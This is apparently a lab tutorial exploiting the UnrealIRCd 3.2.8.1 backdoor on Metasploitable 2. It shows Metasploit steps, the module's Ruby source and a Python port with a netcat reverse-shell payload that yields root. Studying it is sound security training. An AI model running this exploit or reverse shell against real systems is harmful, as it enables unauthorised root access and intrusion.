UnrealIRCd is an open-source IRC server that has been around since 1999 and is perhaps the most widely used one today. Version 3.2.8.1 was vulnerable to remote code execution due to a backdoor in the software. Today, we will be exploiting the vulnerability with Metasploit, examining the underlying code to understand it, and creating our own version of the exploit in Python.
Between November 2009 and June 2010, UnrealIRCd 3.2.8.1 contained a backdoor trojan that was available in the download archive. The vulnerability allowed an attacker to execute arbitrary code by sending the string "AB," which triggered the backdoor, followed by the payload. The command would run as whatever user the IRC daemon was running as, so root-level access could potentially be achieved.
We will use Metasploitable 2 as the target and Kali Linux as the attacking machine.
Step 1: Use Nmap to Verify Vulnerability
The first thing we need to do is determine if UnrealIRCd is present on the target. Nmap contains a handy script to check if it's there and if it is the vulnerable backdoored version. As the vulnerability is around ten years old, there won't be many of these running anywhere out in the wild.
Nmap's scripts are located in the /usr/share/nmap/scripts/ directory. We can list the contents of this directory and search for irc using a pipe and the grep command:
~# ls /usr/share/nmap/scripts/ | grep irc
irc-botnet-channels.nse
irc-brute.nse
irc-info.nse
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse
The last one above is the one we want. Now simply run a quick Nmap scan on the target using the --script parameter to specify the script. We can also specify port 6667 since this is the port UnrealIRCd usually runs on.
~# nmap --script irc-unrealircd-backdoor.nse 10.10.0.50 -p 6667
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-23 08:47 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00068s latency).
PORT STATE SERVICE
6667/tcp open irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
MAC Address: 00:1D:09:55:B1:3B (Dell)
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
We can see this port is open and it appears to be the backdoored version. Excellent.
Step 2: Exploit Easily with Metasploit
We can demonstrate just how easy this vulnerability is to exploit using Metasploit. Fire it up by typing msfconsole in the terminal. Once it loads, we can locate the exploit with the search command:
msf5 > search unrealirc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
And load the module with the use command:
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
Now we can take a look at the options and see what we need to set:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
Set the rhosts to the IP address of the target:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Then we can view the available payloads for this exploit using the show payloads command:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
4 cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 cmd/unix/generic normal No Unix Command, Generic Command Execution
6 cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
7 cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
9 cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
11 cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
We will use a simple Unix reverse command shell. Use set payload to load the desired payload:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
Since we are using a reverse shell, we now need to set the listening host and port. Use the IP address of your local machine and a port of your choosing:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.0.1
lhost => 10.10.0.1
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 1234
lport => 1234
Finally, type run to launch the exploit:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 10.10.0.1:1234
[*] 10.10.0.50:6667 - Connected to 10.10.0.50:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.0.50:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo G3vd0zQXK0P3fLA7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "G3vd0zQXK0P3fLA7\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:1234 -> 10.10.0.50:52857) at 2019-05-23 08:52:22 -0500
We see the exploit finish and a command shell is opened. We can now run system commands on the target, such as id, to view the current user, and uname -a, to view OS information:
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Now that we saw how easy that was to exploit, let's take a look at the code to see exactly what's happening behind the scenes.
Step 3: Examine Ruby Code
Metasploit modules are written in Ruby and offer a convenient way to interface with the framework to make things easy for the user. Things like setting the payload and other options are handled by the framework, making it easy for exploit developers to create a custom module.
The UnrealIRCd module we just ran is located in the following directory:
/usr/share/metasploit-framework/modules/exploits/unix/irc/
In a new terminal window, we can cat it out to view the code:
~# cat /usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2075' ],
[ 'OSVDB', '65445' ],
[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 12 2010'))
register_options(
[
Opt::RPORT(6667)
])
end
def exploit
connect
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
# Wait for the request to be handled
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Let's break this down and take a look at the first half of the code:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2075' ],
[ 'OSVDB', '65445' ],
[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 12 2010'))
register_options(
[
Opt::RPORT(6667)
])
end
The above section is the part that integrates with the Metasploit Framework, which initializes the module, gives a description of the exploit, and deals with all the options.
The second half of the code is where the meat and potatoes are:
def exploit
connect
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
# Wait for the request to be handled
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
That code connects to the remote host and sends the backdoor command, which is the string "AB" followed by the payload and a newline character:
sock.put("AB;" + payload.encoded + "\n")
It then makes sure a session is created and disconnects. As far as exploits go, this is relatively straightforward.
Since Python is arguably more approachable than Ruby, especially for beginners, let's write a quick script in Python to exploit this vulnerability.
Step 4: Port Exploit to Python
To get started on our exploit, create a Python file with nano:
~# nano irc.py
Next, we need to tell the script how to execute by specifying the path of our Python binary. Put this line at the top of the file:
#!/usr/bin/python
Then we can import the socket package, which will allow us to connect to a remote host:
import socket
We can set some variables to keep things organized, where rhost will be the IP address of the target, rport will be 6667, the port UnrealIRCd runs on, and payload will be the command we want to execute on the target.
rhost = '10.10.0.50'
rport = 6667
payload = 'sh -c nc 10.10.0.1 4321 -e /bin/bash'
The part sh -c tells the shell to run a command. In this case, Netcat, which will connect back to our local machine and spawn a BASH shell. Make sure to substitute your own IP address.
Now that our variables are set, we need the code to connect to the remote host:
s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send('AB; ' + payload + '\n')
s.close()
The first line of this creates a new socket connection. The next line connects to the remote host and port. The following line receives a response from the target of up to 1024 bytes. Once the connection is established, the next line sends the command to trigger the backdoor, including the payload we specified earlier. Finally, the connection is closed.
That should be all the code we need. The final script should look like this:
#!/usr/bin/python
import socket
rhost = ‘10.10.0.50’
rport = 6667
payload = ‘sh -c nc 10.10.0.1 4321 -e /bin/bash’
s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send(‘AB; ‘ + payload + ‘\n’)
s.close()
Keep in mind, this is just a simple proof-of-concept. We could also add status messages and error handling if we wanted to, but for now, this will work.
Step 5: Run Exploit
We are finally ready to run our Python exploit. In a new tab or window, start a listener on whatever port you specified earlier in the script:
~# nc -lvp 4321
listening on [any] 4321 ...
And execute the script with the python command:
python irc.py
If everything worked properly, we should see a connection opened up on our listener, and we can run commands like id and uname -a to verify we have root:
10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 41418
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Please note: for some reason, I couldn't get this to execute properly every time, so if it's not working just try again and it should take. I found it works best after a fresh reboot of the target system.
Wrapping Up
Today, we explored the classic UnrealIRCd backdoor vulnerability and just how easy it is to exploit with Metasploit. We then took a look at the Ruby code of the module and used it to port our own version of the exploit in Python. The ability to analyze code and customize it to fit specific needs, even across programming languages, is a valuable skill any white-hat hacker should strive to possess.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
Be the First to Comment
Share Your Thoughts